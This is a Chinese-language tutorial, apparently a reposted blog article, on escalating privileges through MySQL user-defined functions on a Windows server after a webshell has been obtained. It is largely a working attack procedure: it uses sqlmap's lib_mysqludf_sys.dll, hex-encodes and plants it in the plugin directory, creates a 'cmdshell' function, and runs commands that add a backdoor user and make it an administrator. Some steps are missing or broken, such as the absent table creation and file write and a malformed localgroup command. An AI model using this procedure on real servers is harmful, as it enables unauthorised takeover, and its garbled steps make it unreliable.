认识UDF
UDF:用户自定义函数,我们知道mysql中有很多内置的函数,这些内置函数是系统提供的功能,用户使用的时候直接调用即可。
为什么udf可以能提权呢?
udf提权只要是因为udf.dll文件,攻击者通过编写调用cmd或者shell的udf.dkk文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了。由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们通过mysql最终获得管理员权限。
那么使用UDF提权的利用条件是什么呢?
满足的条件:
1、获得一个数据库帐号,拥有MySQL的insert和delete权限,当然了root权限更好了;
2、拥有将udf.dll写入相应目录的权限;
3、将数据库的配置文件的secure_file_priv设置位空;
udf利用的其中一步,是要将我们的udf.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同: (各个版本的区别面试也会问,大家也要看下哦!)
查询下的MySQL版本,这里我的是5.7.26,是大于5.1版本的,也就是说,我们需要找到lib\plugin这个目录,然后将我们的udf.dll文件写进去,其实这里的目录需要我们自己创建。
要提权必须要上传dll到数据库能访问的路径下。
将dll上传到数据库安装路径的方式有下面两种:
1、通过webshell上传
2、以hex方式直接上传
实操:以hex方式直接上传
1、首先获取udf.dll十六进制的值
怎么找udf.dll
sqlmap中就有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll ,这里我将他移动到了C盘,是为了方便后面的语句,当然了,你也可以不用修改,记得下面语句的路径要写对。
将我们的udf.dll文件通过十六机制进行处理;
SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';
接下来就是UDF提权的开始了,
前面做的是为了做铺垫,后面我们提权需要使用这个16进制的udf.dll文件;
1、新建一个表,标名为udftmp,用来存放本地传来的udf文件的内容:
USE mysql;
SELECT DATABASE();
2、在udftmp中写入udf文件的十六进制内容
INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
3、将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。 前面说过了 lib\plugin需要自己建;
SELECT @@plugin_dir;
4、执行下面语句,创建函数cmdshell
create function cmdshell returns string soname 'udf.dll';
5、通过所创建的cmdshell函数来创建一个用户;
select cmdshell('net user x x /add');
6、将我们所创建的用户加入到管理员组中;
select cmdshell('localgroup administrators x /add');
7、 提权成功:
版权归原作者 奋斗的小智 所有, 如有侵权,请联系我们删除。